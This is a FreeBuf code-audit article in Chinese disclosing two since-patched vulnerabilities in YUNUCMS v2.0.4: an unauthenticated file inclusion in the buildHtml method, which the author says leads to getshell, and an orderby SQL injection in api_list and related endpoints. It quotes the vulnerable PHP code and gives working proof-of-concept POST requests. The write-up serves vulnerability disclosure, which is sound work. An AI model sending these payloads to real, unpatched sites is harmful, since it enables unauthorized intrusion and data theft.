freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

YUNUCMSv2.0.4代码审计日常分享
2019-11-06 15:00:48

作者:08sec—简单点。Le.xie

版本:v2.0.4

发布日期:2019-07-30

官网:http://www.yunucms.com/

目前官方已经更新到2.0.5版本,修复了以下的漏洞,征得同意发布此文。

1.文件包含导致Getshell

文件路径:app/index/controller/Index.php

是否需要登录:否

代码片段:

public function buildHtml($htmlfile='', $htmlpath='', $templateFile='') {
   
$content = $this->fetch($templateFile);
   
$htmlpath = !empty($htmlpath) ? $htmlpath : APP_PATH.'/html';
   
$htmlfile = $htmlpath.$htmlfile.'.html';
   
$dir = dirname($htmlfile);
   
/*if(!is_dir($dir)){
         mkdir($dir,0777,true);
    }*/
   
if(file_put_contents($htmlfile, $content) === false) {
       
return false;
   
} else {
       
return true;
   
}
}

1572571573_5dbb89b5d7575.png!small

templateFile参数可控,参数进入fetch函数:

protected function fetch($template = '', $vars = [], $replace = [], $config = [])

{

    return $this->view->fetch($template, $vars, $replace, $config);

}


进入加载模板函数:

一直跟踪到system/library/think/Template.php的1083行,这里会把带入的文件进行包含:

1572571616_5dbb89e032dbc.png!small

导致文件包含漏洞

POC:

http://localhost/index.php?s=index/index/buildHtml

POST:

templateFile=./1.txt.jpg

1572571627_5dbb89eb241b1.png!small

2.SQL注入

http://localhost/index.php?s=api/master/api_list

POST:cid=29&titlelen=1&orderby=if(database()='yunucms1',id,cid)desc&keyword=%

参数:orderby

分析:

文件路径:app/api/controller/Master.php

函数:api_list

核心代码:

public function api_list() {

    $attr = input();

    $cid = !isset($attr['cid']) || $attr['cid'] == '' ? -1 : $attr['cid'];

    $titlelen = empty($attr['titlelen']) ? 0 : intval($attr['titlelen']);

    if (empty($attr['orderby'])) {

        $orderby = "id DESC";

    }else{

        if (strpos($attr['orderby'], 'desc') !== false || strpos($attr['orderby'], 'asc') !== false) {

            $orderby = $attr['orderby'];//如果包含desc/asc,即传入可控内容

        }else{

            $orderby = "id DESC";

        }

    }

    ……

    $_infolist = db('content')->where($_where)->order("$orderby")->limit(($pages-1)*$limit,$limit)->select();


161行带入orderby参数,可带入恶意代码:

1572571648_5dbb8a000f601.png!small

页面提交:

1572571683_5dbb8a23320e4.png!small

可以看到,恶意代码带入到SQL语句里执行了

1572571692_5dbb8a2c6209c.png!small

其他的有同样问题的方法还有:api_link/ api_banner

http://localhost/index.php?s=api/master/api_listmipor api_link api_banner  同理

http://localhost/index.php?s=api/v1/api_listmip or api_linkapi_banner  同理

# 代码审计 # YUNUCMSv2.0.4
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者